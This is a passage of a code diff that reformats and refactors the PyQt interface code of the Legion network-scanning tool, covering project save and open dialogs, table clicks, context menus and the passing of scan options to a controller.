16]) + headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) def yesNoDialog(self, message, title): - dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, - QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, - QtWidgets.QMessageBox.No) + dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) return dialog - def setDirty(self, status=True): # this function is called for example when the user edits notes - self.viewState.dirty = status + def setDirty(self, status=True): # this function is called for example when the user edits notes + self.dirty = status title = '' - if self.viewState.dirty: + if self.dirty: title = '*' if self.controller.isTempProject(): title += 'untitled' else: title += ntpath.basename(str(self.controller.getProjectName())) - self.setMainWindowTitle(applicationInfo["name"] + ' ' + getVersion() + ' - ' + title + ' - ' + - self.controller.getCWD()) + self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) #################### ACTIONS #################### @@ -249,8 +252,7 @@ def saveProcessHeaderWidth(self, index, oldSize, newSize): def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: - message = "There are still processes running. If you continue, every process will be terminated. " + \ - "Are you sure you want to continue?" + message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" reply = self.yesNoDialog(message, 'Confirm') if not reply == QtWidgets.QMessageBox.Yes: @@ -262,9 +264,8 @@ def dealWithRunningProcesses(self, exiting=False): return True - # returns True if we can proceed with: creating/opening a project or exiting - def dealWithCurrentProject(self, exiting=False): - if self.viewState.dirty: # if there are unsaved changes, show save dialog first + def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting + if self.dirty: # if there are unsaved changes, show save dialog first if not self.saveOrDiscard(): # if the user canceled, stop return False @@ -295,16 +296,12 @@ def connectOpenExistingProject(self): def openExistingProject(self): if self.dealWithCurrentProject(): - filename = QtWidgets.QFileDialog.getOpenFileName( - self.ui.centralwidget, 'Open project', self.controller.getCWD(), - filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): log.info('Insufficient permissions to open this file.') - QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', - "You don't have the necessary permissions on this file.", - "Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") return if '.legion' in str(filename): @@ -313,9 +310,8 @@ def openExistingProject(self): projectType = 'sparta' self.controller.openExistingProject(filename, projectType) - self.viewState.firstSave = False # overwrite this variable because we are opening an existing file - # do not show the overlay because the hosttableview is already populated - self.displayAddHostsOverlay(False) + self.firstSave = False # overwrite this variable because we are opening an existing file + self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated else: log.info('No file chosen..') @@ -324,11 +320,11 @@ def connectSaveProject(self): def saveProject(self): self.ui.statusbar.showMessage('Saving..') - if self.viewState.firstSave: + if self.firstSave: self.saveProjectAs() else: log.info('Saving project..') - self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) @@ -341,18 +337,14 @@ def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') log.info('Saving project..') - self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', - self.controller.getCWD(), filter='Legion session (*.legion)', - options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] while not filename =='': - if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access( - ntpath.dirname(str(filename)), os.W_OK): + if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', - "You don't have the necessary permissions on this folder.") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.") else: if self.controller.saveProjectAs(filename): @@ -361,22 +353,17 @@ def saveProjectAs(self): if not str(filename).endswith('.legion'): filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() - reply = msgBox.question(self.ui.centralwidget, 'Confirm', - "A file named \""+ntpath.basename(str(filename))+"\" already exists. " + - "Do you want to replace it?", - QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) + reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.controller.saveProjectAs(filename, 1) # replace break - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', - filter='Legion session (*.legion)', - options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] if not filename == '': self.setDirty(False) - self.viewState.firstSave = False + self.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() log.info('Saved!') @@ -384,10 +371,7 @@ def saveProjectAs(self): log.info('No file chosen..') def saveOrDiscard(self): - reply = QtWidgets.QMessageBox.question( - self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", - QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, - QtWidgets.QMessageBox.Save) + reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.saveProject() @@ -430,13 +414,7 @@ def callAddHosts(self): hostList = hostListStr.split(';') hostList = [hostEntry for hostEntry in hostList if len(hostEntry) > 0] - hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, - self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, - self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, - self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, - self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, - self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, - self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] nmapOptions = [] if self.adddialog.rdoModeOptEasy.isChecked(): @@ -452,17 +430,12 @@ def callAddHosts(self): nmapOptions.append(nmapOptionValue) nmapOptions.append(str(self.adddialog.txtCustomOptList.text())) for hostListEntry in hostList: - self.controller.addHosts(targetHosts=hostListEntry, - runHostDiscovery=self.adddialog.chkDiscovery.isChecked(), - runStagedNmap=self.adddialog.chkNmapStaging.isChecked(), - nmapSpeed=self.adddialog.sldScanTimingSlider.value(), - scanMode=scanMode, - nmapOptions=nmapOptions) - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) self.adddialog.validationLabel.show() - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) ### @@ -472,15 +445,12 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', - self.controller.getCWD(), filter='XML file (*.xml)')[0] - log.info('Importing nmap xml from {0}...'.format(str(filename))) + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] + log.info('Importing nmap xml from {0}...'.format(str(filename))) if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') - QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', - "You don't have the necessary permissions to read this file.", - "Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") return self.importProgressWidget.reset('Importing nmap..') @@ -507,7 +477,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -521,7 +491,7 @@ def connectAppExit(self): self.ui.actionExit.triggered.connect(self.appExit) def appExit(self): - if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application + if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() log.info('Exiting application..') sys.exit(0) @@ -536,18 +506,16 @@ def connectHostTableClick(self): # TODO: review - especially what tab is selected when coming from another host def hostTableClick(self): - if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView. - selectionModel().selectedRows())-1].row() + if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() print(row) ip = self.HostsTableModel.getHostIPForRow(row) - self.viewState.ip_clicked = ip + self.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() self.removeToolTabs() - self.restoreToolTabsForHost(self.viewState.ip_clicked) - # display services tab if we are coming from a dynamic tab (non-fixed) - self.ui.ServicesTabWidget.setCurrentIndex(save) - self.updateRightPanel(self.viewState.ip_clicked) + self.restoreToolTabsForHost(self.ip_clicked) + self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) + self.updateRightPanel(self.ip_clicked) else: self.removeToolTabs() self.updateRightPanel('') @@ -559,11 +527,10 @@ def connectServiceNamesTableClick(self): def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( - self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() print(row) - self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) - self.updatePortsByServiceTableView(self.viewState.service_clicked) + self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.updatePortsByServiceTableView(self.service_clicked) ### @@ -572,13 +539,11 @@ def connectToolsTableClick(self): def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): - row = self.ui.ToolsTableView.selectionModel().selectedRows()[len( - self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() print(row) - self.viewState.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) - self.updateToolHostsTableView(self.viewState.tool_clicked) - # if we clicked on the screenshooter we need to display the screenshot widget - self.displayScreenshots(self.viewState.tool_clicked == 'screenshooter') + self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) + self.updateToolHostsTableView(self.tool_clicked) + self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget # update the updateToolHostsTableView when the user closes all the host tabs # TODO: this doesn't seem right @@ -593,11 +558,10 @@ def connectScriptTableClick(self): def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): - row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len( - self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() print(row) - self.viewState.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) - self.updateScriptsOutputView(self.viewState.script_clicked) + self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) + self.updateScriptsOutputView(self.script_clicked) ### @@ -607,32 +571,27 @@ def connectToolHostsClick(self): # TODO: review / duplicate code def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( - self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() print(row) - self.viewState.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) + self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) - if self.viewState.tool_clicked == 'screenshooter': + if self.tool_clicked == 'screenshooter': filename = self.ToolHostsTableModel.getOutputfileForRow(row) self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) else: - # restore the tool output textview now showing in the tools display panel to its original host tool tab - self.restoreToolTabWidget() - - # remove the tool output currently in the tools display panel (if any) - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): + self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab + + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) tabs = [] # fetch tab list for this host (if any) - if str(ip) in self.viewState.hostTabs: - tabs = self.viewState.hostTabs[str(ip)] + if str(ip) in self.hostTabs: + tabs = self.hostTabs[str(ip)] - for tab in tabs: # place the tool output textview in the tools display panel - if tab.findChild(QtWidgets.QPlainTextEdit) and \ - str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == \ - str(self.viewState.tool_host_clicked): + for tab in tabs: # place the tool output textview in the tools display panel + if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtWidgets.QPlainTextEdit)) break @@ -645,18 +604,17 @@ def connectAdvancedFilterClick(self): self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) def advancedFilterClick(self, current): - # to make sure we don't show filters than have been clicked but cancelled - self.filterdialog.setCurrentFilters(self.viewState.filters.getFilters()) + self.filterdialog.setCurrentFilters(self.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled self.filterdialog.show() def updateFilter(self): f = self.filterdialog.getFilters() - self.viewState.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) + self.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) self.ui.keywordTextInput.setText(" ".join(f[8])) self.updateInterface() def updateFilterKeywords(self): - self.viewState.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) + self.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) self.updateInterface() ### @@ -676,8 +634,7 @@ def rightTableDoubleClick(self, signal): index = signal.sibling(row, 0) index_dict = model.itemData(index) index_value = index_dict.get(0) - log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}' - .format(row, column, cell_value, index_value)) + log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) ## Does not work under WSL! df = pd.DataFrame([cell_value]) @@ -689,12 +646,10 @@ def tableDoubleClick(self): print(tab) if tab == 'Services': - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( - self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( - self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) else: return @@ -727,7 +682,7 @@ def switchTabClick(self): self.restoreToolTabWidget() ### - if self.viewState.lazy_update_hosts == True: + if self.lazy_update_hosts == True: self.updateHostsTableView() ### self.hostTableClick() @@ -735,24 +690,23 @@ def switchTabClick(self): elif selectedTab == 'Services': self.ui.ServicesTabWidget.setCurrentIndex(0) self.removeToolTabs(0) # remove the tool tabs - self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - if self.viewState.lazy_update_services == True: + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.lazy_update_services == True: self.updateServiceNamesTableView() self.serviceNamesTableClick() #elif selectedTab == 'CVEs': # self.ui.ServicesTabWidget.setCurrentIndex(0) # self.removeToolTabs(0) # remove the tool tabs - # self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - # if self.viewState.lazy_update_services == True: + # self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + # if self.lazy_update_services == True: # self.updateServiceNamesTableView() # self.serviceNamesTableClick() elif selectedTab == 'Tools': self.updateToolsTableView() - # display tool panel if we are in tools tab, hide it otherwise - self.displayToolPanel(selectedTab == 'Tools') + self.displayToolPanel(selectedTab == 'Tools') # display tool panel if we are in tools tab, hide it otherwise ### @@ -768,18 +722,15 @@ def switchMainTabClick(self): elif selectedTab == 'Brute': self.ui.BruteTabWidget.currentWidget().runButton.setFocus() self.restoreToolTabWidget() - - # in case the Brute tab was red because hydra found stuff, change it back to black - self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) + + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) # in case the Brute tab was red because hydra found stuff, change it back to black ### - # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user - def setVisible(self): - self.viewState.menuVisible = True + def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + self.menuVisible = True - # indicates that a context menu has now closed and any pending ui updates can take place now - def setInvisible(self): - self.viewState.menuVisible = False + def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now + self.menuVisible = False ### def connectHostsTableContextMenu(self): @@ -787,23 +738,20 @@ def connectHostsTableContextMenu(self): def contextMenuHostsTableView(self, pos): if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.HostsTableView.selectionModel().selectedRows()[ - len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() - # because when we right click on a different host, we need to select it - self.viewState.ip_clicked = self.HostsTableModel.getHostIPForRow(row) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it self.ui.HostsTableView.selectRow(row) # select host when right-clicked - self.hostTableClick() - - menu, actions = self.controller.getContextMenuForHost( - str(self.HostsTableModel.getHostCheckStatusForRow(row))) + self.hostTableClick() + + menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(row))) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(row) action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) - + self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + ### def connectServiceNamesTableContextMenu(self): @@ -811,21 +759,19 @@ def connectServiceNamesTableContextMenu(self): def contextMenuServiceNamesTableView(self, pos): if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( - self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() - self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked self.serviceNamesTableClick() - menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.viewState.service_clicked) + menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.service_clicked) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) - if action: - # because we will need to populate the right-side panel in order to select those rows - self.serviceNamesTableClick() - # we must only fetch the targets on which we haven't run the tool yet + if action: + self.serviceNamesTableClick() # because we will need to populate the right-side panel in order to select those rows + # we must only fetch the targets on which we haven't run the tool yet tool = None for i in range(0,len(actions)): # fetch the tool name if action == actions[i][1]: @@ -836,26 +782,20 @@ def contextMenuServiceNamesTableView(self, pos): if action.text() == 'Take screenshot': tool = 'screenshooter' - targets = [] # get (IP,port,protocol) combinations for this service + targets = [] # get (IP,port,protocol) combinations for this service for row in range(self.PortsByServiceTableModel.rowCount("")): - targets.append([self.PortsByServiceTableModel.getIpForRow(row), - self.PortsByServiceTableModel.getPortForRow(row), - self.PortsByServiceTableModel.getProtocolForRow(row)]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row), self.PortsByServiceTableModel.getPortForRow(row), self.PortsByServiceTableModel.getProtocolForRow(row)]) - # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on - # which we haven't ran it yet - if shiftPressed: + if shiftPressed: # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on which we haven't ran it yet tool=None if tool: - # fetch the hosts that we already ran the tool on - hosts=self.controller.getHostsForTool(tool, 'FetchAll') + hosts=self.controller.getHostsForTool(tool, 'FetchAll') # fetch the hosts that we already ran the tool on oldTargets = [] for i in range(0,len(hosts)): oldTargets.append([hosts[i][5], hosts[i][6], hosts[i][7]]) - - # remove from the targets the hosts:ports we have already run the tool on - for host in oldTargets: + + for host in oldTargets: # remove from the targets the hosts:ports we have already run the tool on if host in targets: targets.remove(host) @@ -869,8 +809,7 @@ def connectToolHostsTableContextMenu(self): def contextToolHostsTableContextMenu(self, pos): if len(self.ui.ToolHostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( - self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) port = self.ToolHostsTableModel.getPortForRow(row) @@ -881,16 +820,10 @@ def contextToolHostsTableContextMenu(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - # this can handle multiple host selection if we apply it in the future - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row - # context menu when the left services tab is selected + # this can handle multiple host selection if we apply it in the future + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row # context menu when the left services tab is selected for row in self.ui.ToolHostsTableView.selectionModel().selectedRows(): - targets.append([self.ToolHostsTableModel.getIpForRow(row.row()), - self.ToolHostsTableModel.getPortForRow(row.row()), - self.ToolHostsTableModel.getProtocolForRow(row.row()), - self.controller.getServiceNameForHostAndPort( - self.ToolHostsTableModel.getIpForRow(row.row()), - self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) + targets.append([self.ToolHostsTableModel.getIpForRow(row.row()),self.ToolHostsTableModel.getPortForRow(row.row()),self.ToolHostsTableModel.getProtocolForRow(row.row()),self.controller.getServiceNameForHostAndPort(self.ToolHostsTableModel.getIpForRow(row.row()), self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) restore = True action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) @@ -898,9 +831,8 @@ def contextToolHostsTableContextMenu(self, pos): if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) - else: # in case there was no port, we show the host menu (without the portscan / mark as checked) - menu, actions = self.controller.getContextMenuForHost(str( - self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) + else: # in case there was no port, we show the host menu (without the portscan / mark as checked) + menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) @@ -908,24 +840,22 @@ def contextToolHostsTableContextMenu(self, pos): action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) + self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) ### def connectServicesTableContextMenu(self): self.ui.ServicesTableView.customContextMenuRequested.connect(self.contextMenuServicesTableView) - # this function is longer because there are two cases we are in the services table - def contextMenuServicesTableView(self, pos): + def contextMenuServicesTableView(self, pos): # this function is longer because there are two cases we are in the services table if len(self.ui.ServicesTableView.selectionModel().selectedRows()) > 0: - # if there is only one row selected, get service name - if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( - self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: # if there is only one row selected, get service name + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() - if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view + if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view serviceName = self.ServicesTableModel.getServiceNameForRow(row) - else: # if we are in the services tab of the services view + else: # if we are in the services tab of the services view serviceName = self.PortsByServiceTableModel.getServiceNameForRow(row) else: @@ -935,21 +865,15 @@ def contextMenuServicesTableView(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row if self.ui.ServicesTableView.isColumnHidden(0): for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.ServicesTableModel.getIpForRow(row.row()), - self.ServicesTableModel.getPortForRow(row.row()), - self.ServicesTableModel.getProtocolForRow(row.row()), - self.ServicesTableModel.getServiceNameForRow(row.row())]) + targets.append([self.ServicesTableModel.getIpForRow(row.row()),self.ServicesTableModel.getPortForRow(row.row()),self.ServicesTableModel.getProtocolForRow(row.row()),self.ServicesTableModel.getServiceNameForRow(row.row())]) restore = False - else: # context menu when the left services tab is selected + else: # context menu when the left services tab is selected for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()), - self.PortsByServiceTableModel.getPortForRow(row.row()), - self.PortsByServiceTableModel.getProtocolForRow(row.row()), - self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()),self.PortsByServiceTableModel.getPortForRow(row.row()),self.PortsByServiceTableModel.getProtocolForRow(row.row()),self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) restore = 